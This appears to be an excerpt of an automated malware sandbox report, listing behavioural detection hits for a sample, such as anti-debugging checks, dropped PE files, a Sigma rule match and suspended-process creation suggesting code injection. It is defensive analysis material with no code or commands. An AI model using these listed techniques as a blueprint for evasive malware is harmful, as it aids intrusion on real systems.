Sample file is different than original file name gathered from version info
PE file contains an invalid checksum
Searches for the Microsoft Outlook file path
PE file contains strange resources
Drops PE files
Uses a known web browser user agent for HTTP communication
Checks if the current process is being debugged
Sigma detected: Suspicious Csc.exe Source File Folder
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Compiles C# or VB.Net code
Found large amount of non-executed APIs
Creates a process in suspended mode (likely to inject code)
